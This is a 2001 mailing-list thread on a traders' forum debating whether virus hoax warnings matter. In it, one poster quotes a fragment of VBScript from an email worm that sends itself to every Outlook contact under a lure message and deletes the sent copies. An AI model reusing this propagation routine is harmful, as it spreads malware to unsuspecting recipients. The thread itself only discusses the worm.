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How does it help you to know a new virus is on the loose?
When you receive a virus, you either a) have virus software or b) you don't.
You either a) execute every executable that drops into your inbox or b) you
don't.
How does knowing there's a new virus out there help you in either respect?
For the record, some pinhead creates a new virus every day! Does that help
you?
For a long time, I didn't have virus software. So my procedure for dealing
with unknown or even marginally questionable executables was to hit the DEL
key. No I have virus software. You know what my unknown executable
procedure is now? I HIT THE DEL KEY!!! I don't care if it's a new virus or
10 years old. Same procedure.
Actually, I pulled one virus apart because it was VBscript. Here's some of
the code:
For Count= 1 To ContactCount
Set Mail = Outlook.CreateItem(0)
Set Contact = ListIndex.AddressEntries(Count)
Mail.To = Contact.Address
Mail.Subject = "Homepage"
Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page!
It's really cool ;O)"&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
Attachment.Add Folder & "\homepage.HTML.vbs"
Mail.DeleteAfterSubmit = True
If Mail.To <> "" Then
Mail.Send
WS.regwrite "HKCU\software\An\mailed", "1"
End If
Next
This is the part of the virus (worm in this case) that loops thru your
contacts list, attaches itself to an email with an encouraging subject and
sends itself off. There. Does that help you defend yourself in any way?
No! If your procedures for dealing with suspect email are questionable,
then one day you will probably get infected. And it doesn't matter whether
you know what kind of virus it is or not. You can get infected either way.
Kent
----- Original Message -----
From: "Dave Johnson" <dsj000@xxxxxxxxxxxxx>
To: <realtraders@xxxxxxxxxxxxxxx>
Sent: Wednesday, December 19, 2001 10:51 AM
Subject: Re: [RT] virus IS A HOAX AND NOT A HOAX - Read Symantec Carefully
YES, it DOES matter if it is a hoax.
Virus software is not always exactly up-to-date with respect to wild virus
attacks, and some programs are better than others for specific problems.
This true even if one keeps the software absolutely up-to-date.
Therefore, if a new virus is on the loose, I want to know about it. Then --
check if it is a hoax.
Dave Johnson
----- Original Message -----
From: "Mike Higgs" <moongateca@xxxxxxxxx>
To: <realtraders@xxxxxxxxxxxxxxx>
Sent: Wednesday, December 19, 2001 3:19 AM
Subject: Re: [RT] virus IS A HOAX AND NOT A HOAX - Read Symantec Carefully
> Kent,
>
> I agree with you about virus software but I try not to rant about it. It
> does matter if it's a hoax because the misinformed are spreading
potentially
> damaging information. Given that we are plugged in to the net, we are
> affected even if we have AV software and do all the good things we are
> supposed to do for the care and feeding of the Wintel. We've all seen the
> daisy chain effect of a virus in a closed loop of a list. Imagine what
> happens in a worst case scenario of an ISP where enough of its subscribers
> are infected and know each other. What an interesting mess. What if it's
> the ISP you use? Maybe this hasn't happened yet. I'm not sure that it
> can't - the nasties are gettting increasingly bad.
>
> Season's best,
> Mike
>
> >Does it really matter whether it is a hoax or not? If you don't have
virus
> software... If you don't have up to date virus software... If you click
on
> everything that drops into your inbox (can I say "box"? I know this is a
> non-cussing list.) WHAT FREAKING DIFFERENCE DOES IT MAKE!!!!?????
> (Substitute your favorite adult word for "freaking".)
>
> Kent
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